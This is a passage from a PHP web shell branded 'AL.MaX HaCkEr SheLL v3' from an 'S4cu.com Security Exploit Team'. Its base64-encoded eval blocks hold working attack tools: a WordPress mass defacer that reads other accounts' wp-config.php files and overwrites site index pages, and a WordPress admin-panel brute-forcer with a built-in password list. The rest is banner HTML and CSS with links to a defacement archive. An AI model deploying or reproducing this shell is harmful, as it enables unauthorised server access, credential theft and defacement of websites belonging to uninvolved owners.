XMvIi4kZG9tYWluKTsNCiAgICAgICAgJGluZm9zID0gQHBvc2l4X2dldHB3dWlkKCRkb25vX2FycXVpdm8pOw0KICAgICAgICANCiAgICAgICAgJGNvbmZpZzAyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kaW5mb3NbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTsNCg0KICAgICAgICAkY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJzsNCg0KICAgICAgICBpZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7DQogICAgICAgICAgICBlY2hvICc8dHIgJy4kY2xzLic+PHRkIGFsaWduPSJjZW50ZXIiPicuKCRqKyspLic8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nLiRpLic8L3RkPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kZG9tYWluLiciIHRhcmdldD0iYmxhbmsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+JzsNCiAgICAgICAgICAgIGVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0ieWVsbG93Ij5XT1JEUFJFU1M8L2ZvbnQ+PC90ZD4nOw0KICAgICAgICAgICAgJHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJGNvbmZpZzAyLCAkZGVmKTsNCiAgICAgICAgICAgIGVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQogICAgICAgICAgICBpZigkcmVzWydjb25kJ10pIHsNCiAgICAgICAgICAgICAgICBlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5IQUNLRUQ8L3NwYW4+PC90ZD4nOw0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycuJGRvbWFpbi4iPGJyPiIpOw0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY291bnQyJ10gPSAkX1NFU1NJT05bJ2NvdW50MiddICsgMTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPnVuc3VjY2Vzc2Z1bDwvc3Bhbj48L3RkPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3RyPic7DQogICAgICAgIH0NCiAgICB9DQogICAgZWNobyAnPC90YWJsZT4nOw0KICAgIGVjaG8gJzxoci8+JzsNCiAgICBlY2hvICdUb3RhbCBEZWZhY2UgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLic8YnIgLz4nOw0KICAgIGVjaG8gJzxhIGhyZWY9ImRlZmFjZWQuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPkxpc3QgV2Vic2l0ZXMgRGVmYWNlZDwvYT48YnIgLz4nOw0KfQ0KDQplY2hvICc8IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KDQo8aGVhZD4NCg0KICAgIDx0aXRsZT48L3RpdGxlPg0KICAgIA0KCTxwPg0KCTxoMiBzdHlsZT0iY29sb3I6I0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Ij5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyIFByaXZhdGU8L2gyPg0KCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQogICAgICAgIGJvZHkge2JhY2tncm91bmQtcG9zaXRpb246IDUwJSA1MCU7DQoJY29sb3I6IHdoaXRlOyAJZm9udC1mYW1pbHk6ICJUcmVidWNoZXQgTVMiLEFyaWFsOwltYXJnaW46MDsJcGFkZGluZzowOw0KCWJhY2tncm91bmQtY29sb3I6ICMwMDA7DQoJYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsNCn0NCiAgICAgICAgLmhlYWRlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTt0b3A6MDtiYWNrZ3JvdW5kOiMwMDA7fQ0KICAgICAgICAuZm9vdGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO2JvdHRvbTowO2JhY2tncm91bmQ6IzAwMDt9DQogICAgICAgIGlucHV0W3R5cGU9InN1Ym1pdCJdeyAxcHggc29saWQgIzAwMDAwMDt9DQogICAgICAgIGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVye2NvbG9yOlNlYVNoZWxsO30NCiAgICAgICAgaW5wdXRbdHlwZT0icmFkaW8iXXttYXJnaW4tdG9wOiAwO30NCiAgICAgICAgLmV2ZW4ge2JhY2tncm91bmQtY29sb3I6IHJnYmEoMjUsIDI1LCAyNSwgMC42KTt9DQogICAgICAgIC5vZGQge2JhY2tncm91bmQtY29sb3I6IHJnYmEoMTAyLCAxMDIsIDEwMiwgMC42KTt9DQogICAgICAgIGEge2NvbG9yOiNmZmY7fSBhOmhvdmVyIHtjb2xvcjojMDBCRkZGO30NCiAgICAgICAgZmllbGRzZXR7Ym9yZGVyOiAxcHggc29saWQgZ3JleTsgYmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjcpOyB3aWR0aDogNjAwcHg7IG1hcmdpbjogMCBhdXRvO21pbi1oZWlnaHQ6MjQwcHg7fQ0KICAgICAgICB0ZXh0YXJlYXtiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuNik7IGNvbG9yOiB3aGl0ZTt9DQogICAgICAgIC5ncmVlbiB7Y29sb3I6IzAwRkYwMDtmb250LXdlaWdodDpib2xkO30NCiAgICAgICAgLnJlZCB7Y29sb3I6I0ZGMDAwMDtmb250LXdlaWdodDpib2xkO30NCiAgICAgICAgLmtpbGxtZSB7cG9zaXRpb246IGZpeGVkOyB0b3A6IDIwcHg7IHJpZ2h0OiAyMHB4OyBib3JkZXI6IDJweCBzb2xpZCB5ZWxsb3c7IHBhZGRpbmc6IDEwcHg7IGZvbnQtc2l6ZTogMjBweDsgY29sb3I6IHJlZDsgZm9udC13ZWlnaHQ6IGJvbGQ7fQ0KICAgIDwvc3R5bGU+PC9wPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgZnVuY3Rpb24gY2hhbmdlKCkgew0KICAgICAgICAgICAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdyY2RcJykuY2hlY2tlZCA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnXCc7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwndHJhXCcpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBoaWRlKCkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOw0KICAgICAgICB9DQogICAgPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCjxkaXYgY2xhc3M9ImZvb3RlciI+DQogICAgPGgzIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij4mbmJzcDs8L2gzPg0KPC9kaXY+DQo8ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuNSk7cGFkZGluZzo5MHB4IDAgNjVweCAwOyI+DQogICAgJzsNCiAgICBpZighaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSl7DQogICAgZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPjxicj5pbmRleCB1cmw6DQoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhhZHJlc2kiIHZhbHVlPSJodHRwOi8vc2l0ZS5jb20vaW5kZXguaHRtbCIgLz48YnI+DQogICAgICAgICAgICA8aW5wdXQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiEhIFNUQVJUICEhIiBuYW1lPSJTdWJtaXQiPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+JzsNCiAgICB9IA0KICAgIGVjaG8gJzxkaXYgYWxpZ249ImNlbnRlciI+JzsNCiAgICBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMSkgew0KICAgICAgICAgICAgZXhlY19tb2RlXzEoJF9QT1NUWydpbmRleGFkcmVzaSddKTsNCiAgICB9DQogICAgZWNobyAnPC9kaXY+DQogICAgPC9kaXY+DQoJDQoJDQoJDQoJDQo8L2JvZHk+DQo8L2h0bWw+JzsNCj8+"));
7301break;
7302case "PHP_78":
7303eval(base64_decode("ZWNobyAiDQo8IS0tDQpXb3JkcHJlc3MgQWRtaW4gUGFuZWwgUGVuZXRyYXRpb24gVGVzdGluZw0KViAxDQpQUzogdGhpcyB0b29sIGlzIGZvciBwZW5ldHJhdGlvbiB0ZXN0aW5nIGFuZCBlZHVjYXRpb25hbCBwdXJwb3NlLCBodHRwOi8vd3d3LnY0LXRlYW0uY29tL2NjLyBpcyBub3QgcmVzcG9uc2libGUgYXQgYW55IGJhZCB1c2luZyBmb3IgdGhpcyB0b29sLg0KDQpUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTogeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQ0KaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkNCnRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIGVpdGhlciB2ZXJzaW9uIDMgb2YgdGhlIExpY2Vuc2UsIG9yDQooYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLg0KLS0+DQoiOw0KDQplcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXRfdGltZV9saW1pdCgwKTsNCmlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KPz4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+PC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9Q29udGVudC1UeXBlIGNvbnRlbnQ9dGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IGNoYXJzZXQ9VVRGLTg+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCgljb2xvcjogd2hpdGU7DQoJfQ0KdGV4dGFyZWEgew0KCWJvcmRlci1yYWRpdXM6IDhweDsNCgljb2xvcjogd2hpdGU7DQoJYmFja2dyb3VuZC1jb2xvcjpibGFjazsNCn0NCmlucHV0W3R5cGU9c3VibWl0XSAsIC5zdWJtaXR7DQoJCWJhY2tncm91bmQtY29sb3I6YmxhY2s7DQoJCWNvbG9yOndoaXRlOw0KCQlib3JkZXItcmFkaXVzOjhweDsNCn0NCnAgew0KCWZvbnQtc2l6ZTogMTBweDsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQphOmxpbmssYTpob3ZlcixhOnZpc2l0ZWQgew0KCWNvbG9yOnBpbms7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPCEtLSB2NC10ZWFtIHwgV29yZFByZXNzIEFkbWluIFBhbmVsIFBlbmV0cmF0aW9uIFRlc3RpbmcgLS0+DQo8Y2VudGVyPg0KPHA+Jm5ic3A7PC9wPg0KPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NCiAgPHRhYmxlIHdpZHRoPSc2MjQnIGJvcmRlcj0nMCcgaWQ9J0JveCc+DQogICAgPHRyPg0KPHRkIHdpZHRoPSc0JSc+Jm5ic3A7PC90ZD4NCjx0ZCB3aWR0aD0iOTYlIiBjb2xzcGFuPSIzIiBhbGlnbj0iY2VudGVyIiA+PHA+V29yZFByZXNzIEFkbWluIFBhbmVsIFBlbmV0cmF0aW9uIFRlc3RpbmcgPC9wPjwvdGQ+DQo8L3RyPg0KICAgIDx0cj4NCiAgICAgIDx0ZCA+Jm5ic3A7PC90ZD4NCiAgICAgIDx0ZCA+PHA+SG9zdHM6PC9wPjwvdGQ+DQogICAgICA8dGQgPjxwPiBVc2Vyczo8L3A+PC90ZD4NCiAgICAgIDx0ZCA+PHA+UGFzc3dvcmRzOjwvcD48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgICA8dGQgPjx0ZXh0YXJlYSBuYW1lPSJob3N0cyIgY29scz0iMzAiIHJvd3M9IjEwIiA+PD9waHAgaWYoJF9QT1NUKXtlY2hvICRfUE9TVFsnaG9zdHMnXTt9ID8+PC90ZXh0YXJlYT48L3RkPg0KICAgICAgPHRkID48dGV4dGFyZWEgbmFtZT0idXNlcm5hbWVzIiBjb2xzPSIzMCIgcm93cz0iMTAiICA+PD9waHAgaWYoJF9QT1NUKXtlY2hvICRfUE9TVFsndXNlcm5hbWVzJ107fWVsc2Uge2VjaG8gImFkbWluIjt9ID8+PC90ZXh0YXJlYT48L3RkPg0KICAgICAgPHRkID48dGV4dGFyZWEgbmFtZT0icGFzc3dvcmRzIiBjb2xzPSIzMCIgcm93cz0iMTAiICA+PD9waHAgaWYoJF9QT1NUKXtlY2hvICRfUE9TVFsncGFzc3dvcmRzJ107fWVsc2Uge2VjaG8gImFkbWluXG5hZG1pbmlzdHJhdG9yXG4xMjMxMjNcbjEyMzMyMVxuMTIzNDU2XG4xMjM0NTY3XG4xMjM0NTY3OFxuMTIzNDU2Nzg5XG4xMjM0NTYxMjM0NTZcbmFkbWluMjAxMFxuYWRtaW4yMDExXG5wYXNzd29yZFxuUEBzc1cwcmRcbiFAIyQlXlxuIUAjJCVeJiooXG4oKiZeJSQjQCFcbjExMTExMVxuMjIyMjIyXG4zMzMzMzNcbjQ0NDQ0NFxuNTU1NTU1XG42NjY2NjZcbjc3Nzc3N1xuODg4ODg4XG45OTk5OTkiO30gPz48L3RleHRhcmVhPjwvdGQ+DQogICAgPC90cj4NCjx0cj48dGQgY29sc3Bhbj0iNCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgTm93IiBjbGFzcz0ic3VibWl0IiAgLz4NCjw/cGhwDQppZigkX1BPU1QpDQp7DQoJJGhvc3RzID0gdHJpbShmaWx0ZXIoJF9QT1NUWydob3N0cyddKSk7DQoJJHBhc3N3b3JkcyA9IHRyaW0oZmlsdGVyKCRfUE9TVFsncGFzc3dvcmRzJ10pKTsNCgkkdXNlcm5hbWVzID0gdHJpbShmaWx0ZXIoJF9QT1NUWyd1c2VybmFtZXMnXSkpOw0KDQoJaWYoJHBhc3N3b3JkcyAmJiAkdXNlcm5hbWVzICYmICRob3N0cykNCgl7DQoJCSRob3N0c19leHBsb2RlID0gZXhwbG9kZSgiXG4iLCAkaG9zdHMpOw0KCQkkdXNlcm5hbWVzX2V4cGxvZGUgPSBleHBsb2RlKCJcbiIsICR1c2VybmFtZXMpOw0KICAgIAkkcGFzc3dvcmRzX2V4cGxvZGUgPSBleHBsb2RlKCJcbiIsICRwYXNzd29yZHMpOw0KDQoJCWZvcmVhY2goJGhvc3RzX2V4cGxvZGUgYXMgJGhvc3QpDQoJCXsNCgkJCSRob3N0ID0gUmVtb3ZlTGFzdFNsYXNoKCRob3N0KTsNCgkJCSRoYWNrZWQgPSAwOw0KCQkJJGhvc3QgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwid3d3LiIpLCIiLHRyaW0oJGhvc3QpKTsNCgkJCSRob3N0ID0gImh0dHA6Ly8iLiRob3N0Ow0KCQkJJHdwQWRtaW4gPSAkaG9zdC4nL3dwLWFkbWluLyc7DQoNCgkJCWlmKCF1cmxfZXhpc3RzKCRob3N0LiIvd3AtbG9naW4ucGhwIikpDQoJCQl7ZWNobyAiPHA+Ii4kaG9zdC4iID0+IDxmb250IGNvbG9yPSdyZWQnPkVycm9yIEluIExvZ2luIFBhZ2UgITwvZm9udD48L3A+IjtvYl9mbHVzaCgpO2ZsdXNoKCk7Y29udGludWU7fQ0KDQoJCQlmb3JlYWNoKCR1c2VybmFtZXNfZXhwbG9kZSBhcyAkdXNlcm5hbWUpDQoJCQl7DQoJCQkJZm9yZWFjaCgkcGFzc3dvcmRzX2V4cGxvZGUgYXMgJHBhc3N3b3JkKQ0KCQkJCXsNCgkJCQkJJGNoICAgPSAgICAgY3VybF9pbml0KCk7DQoJCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJGhvc3QuJy93cC1sb2dpbi5waHAnKTsNCgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfQ09PS0lFSkFSLCJjb2tpLnR4dCIpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9DT09LSUVGSUxFLCJjb2tpLnR4dCIpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsNCgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVCxUUlVFKTsNCgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUE9TVEZJRUxEUywibG9nPSIuJHVzZXJuYW1lLiImcHdkPSIuJHBhc3N3b3JkLiImd3Atc3VibWl0PUdpcmkmIzgyMDc7Ii4iJnJlZGlyZWN0X3RvPSIuJHdwQWRtaW4uIiZ0ZXN0Y29va2llPTEiKTsNCgkJCQkJJGxvZ2luICAgID0JICAgY3VybF9leGVjKCRjaCk7DQoNCgkJCQkJaWYoZXJlZ2kgKCJwcm9maWxlLnBocCIsJGxvZ2luKSApDQoJCQkJCXsNCgkJCQkJCSRoYWNrZWQgPSAxOw0KCQkJCQkJZWNobyAiPHA+Ii4kaG9zdC4iID0+IFVzZXJOYW1lIDogWzxmb250IGNvbG9yPSdncmVlbic+Ii4kdXNlcm5hbWUuIjwvZm9udD5dIDogUGFzc3dvcmQgOiBbPGZvbnQgY29sb3I9J2dyZWVuJz4iLiRwYXNzd29yZC4iPC9mb250Pl08L3A+IjsNCgkJCQkJCW9iX2ZsdXNoKCk7Zmx1c2goKTticmVhazsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZigkaGFja2VkID09IDEpe2JyZWFrO30NCgkJCX0NCgkJCWlmKCRoYWNrZWQgPT0gMCkNCgkJCXtlY2hvICI8cD4iLiRob3N0LiIgPT4gPGZvbnQgY29sb3I9J3JlZCc+RmFpbGVkICE8L2ZvbnQ+PC9wPiI7b2JfZmx1c2goKTtmbHVzaCgpO30NCgkJfQ0KCX0NCgllbHNlIHtlY2hvICI8cD48Zm9udCBjb2xvcj0ncmVkJz5BbGwgZmllbGRzIGFyZSBSZXF1aXJlZCAhIDwvZm9udD48L3A+Ijt9DQp9DQo/Pg0KPC90ZD48L3RyPg0KPC90YWJsZT48L2Zvcm0+DQoNCjwhLS0gdjQtdGVhbS5jb20gfCBXb3JkUHJlc3MgQWRtaW4gUGFuZWwgUGVuZXRyYXRpb24gVGVzdGluZyAtLT4NCjwvY2VudGVyPg0KPHA+DQogIDw/cGhwDQpmdW5jdGlvbiB1cmxfZXhpc3RzKCRzdHJVUkwpDQp7DQogICAgJHJlc1VSTCA9IGN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRyZXNVUkwsIENVUkxPUFRfVVJMLCAkc3RyVVJMKTsNCiAgICBjdXJsX3NldG9wdCgkcmVzVVJMLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCAxKTsNCiAgICBjdXJsX3NldG9wdCgkcmVzVVJMLCBDVVJMT1BUX0hFQURFUkZVTkNUSU9OLCAnY3VybEhlYWRlckNhbGxiYWNrJyk7DQogICAgY3VybF9zZXRvcHQoJHJlc1VSTCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7DQogICAgY3VybF9leGVjICgkcmVzVVJMKTsNCiAgICAkaW50UmV0dXJuQ29kZSA9IGN1cmxfZ2V0aW5mbygkcmVzVVJMLCBDVVJMSU5GT19IVFRQX0NPREUpOw0KICAgIGN1cmxfY2xvc2UgKCRyZXNVUkwpOw0KICAgIGlmICgkaW50UmV0dXJuQ29kZSAhPSAyMDApe3JldHVybiBmYWxzZTt9DQoJZWxzZXtyZXR1cm4gdHJ1ZSA7fQ0KfQ0KZnVuY3Rpb24gZmlsdGVyKCRzdHJpbmcpDQp7DQoJaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSAhPSAwKXtyZXR1cm4gc3RyaXBzbGFzaGVzKCRzdHJpbmcpOwl9DQoJZWxzZXtyZXR1cm4gJHN0cmluZzsJfQ0KfQ0KZnVuY3Rpb24gUmVtb3ZlTGFzdFNsYXNoKCRob3N0KQ0Kew0KCWlmKHN0cnJwb3MoJGhvc3QsICcvJywgLTEpID09IHN0cmxlbigkaG9zdCktMSkNCgl7cmV0dXJuIHN1YnN0cigkaG9zdCwwLHN0cnJwb3MoJGhvc3QsICcvJywgLTEpKTt9DQoJZWxzZXtyZXR1cm4gJGhvc3Q7fQ0KfQ0KPz48P3BocCAgZWNobyAiPC9wPiI7ID8+ICAgICAgICA="));
7304break;
7305
7306}
7307
7308?>
7309<p class="style1"> </p>
7310 </body>
7311</html>
7312
7313
7314
7315<head>
7316<style type="text/css">
7317.style1 {
7318 text-align: center;
7319}
7320
7321div.end
7322{
7323 width:100%;
7324 background:#222;
7325}
7326
7327* {
7328 padding:0;
7329 margin:0;
7330}
7331
7332div.end *
7333{
7334 font-size:small;
7335}
7336
7337.style27 {
7338 color: gray;
7339}
7340.style25 {
7341 color: maroon;
7342}
7343.style31 {
7344 color: #FF4D00;
7345}
7346.style32 {
7347 color: #FF0000;
7348}
7349.style33 {
7350 color: #006600;
7351}
7352.style34 {
7353 margin-bottom: 0;
7354 text-align: left;
7355}
7356.style35 {
7357 border: 1px double #000000;
7358 background-color: #000000;
7359 text-align: left;
7360}
7361.style36 {
7362 border-style: solid;
7363 text-align: right;
7364}
7365.style37 {
7366 text-align: right;
7367}
7368.style38 {
7369 text-align: left;
7370}
7371.style39 {
7372 width: 100%;
7373 text-align: left;
7374}
7375.style40 {
7376 margin-right: 556;
7377 margin-bottom: 0;
7378}
7379.style41 {
7380 color: #444444;
7381}
7382.style42 {
7383 font-family: "Times New Roman", Times, serif;
7384 font-size: xx-large;
7385}
7386.style43 {
7387 text-align: center;
7388}
7389</style>
7390<title>S4cu.com Security Exploit Team</title>
7391</head>
7392
7393<body style="background-color: #000000; color: #000000;">
7394
7395<p class="style1"> </p>
7396
7397<div class="end">
7398<p align="center"><b> </b><br />
7399</p>
7400<table style="border: 2px solid rgb(218, 218, 218);" width="100%" bgcolor="#000000" height="%">
7401 <tr>
7402 <td><font color="grey">
7403
7404 <center><font color="white" face="tahoma" size="4"><b>
7405 [
7406 <span class="style27"> <font color="red" size="5"><span style="font-weight: 700; filter: blur(add=1, direction=270, strength=30)"><font class="whiteglow" face="tahoma"><span <ul=""><font color="#808080" face="Tahoma"><span <ul="" lang="en-us"><font color="white" face="tahoma" size="4"><span class="style41">Private
7407 ! .. AL.MaX HaCkEr SheLL</span><span class="style25"><font color="Green"><font class="style26" color="gray" size="-2"><span class="style21"><strong>
7408 <font color="white" face="tahoma" size="4">|</font> v.</strong>3</span></font></font></span></font>
7409 - Copyright
7410 / <font color="#FFFFFF" face="Tahoma">2013
7411 <a style="text-decoration: none; " href="http://www.zone-h.com/archive/notifier=AL.MaX%20HaCkEr">
7412 <font color="#FFFFFF">AL.MaX HaCkEr </font></a></font></span>
7413 <font color="#000000">
7414 </font></font></span></font></span></font></span> ]<span class="style27">
7415 </span> <br>
7416 <span class="style27"> <font color="red" size="5"><span style="font-weight: 700; filter: blur(add=1, direction=270, strength=30)"><font class="whiteglow" face="tahoma"><span <ul=""><font color="#808080" face="Tahoma">
7417 <font color="#000000">
7418 <a style="text-decoration: none" href="http://www.zone-h.com/archive/notifier=AL.MaX%20HaCkEr">
7419 <font color="#808080" face="Tahoma">Zone-h</font></a><font color="red" size="5" face="tahoma"><font class="whiteglow" face="tahoma"><font color="#808080" face="Tahoma"> <img alt="" src="http://www.senojflags.com/images/national-flag-icons/Sudan-Flag.png" height="16" width="16"></font></font></font> </font></font>
7420 </span></font></span></font> </span>
7421 </b>
7422 <strong class="style42">Gun@Linuxmail.Org</strong></font></center>
7423 </font></td>
7424 </tr>
7425</table>
7426<p align="center"> </p>
7427</div>
7428<p class="style1"> </p>
7429
7430
7431
7432?>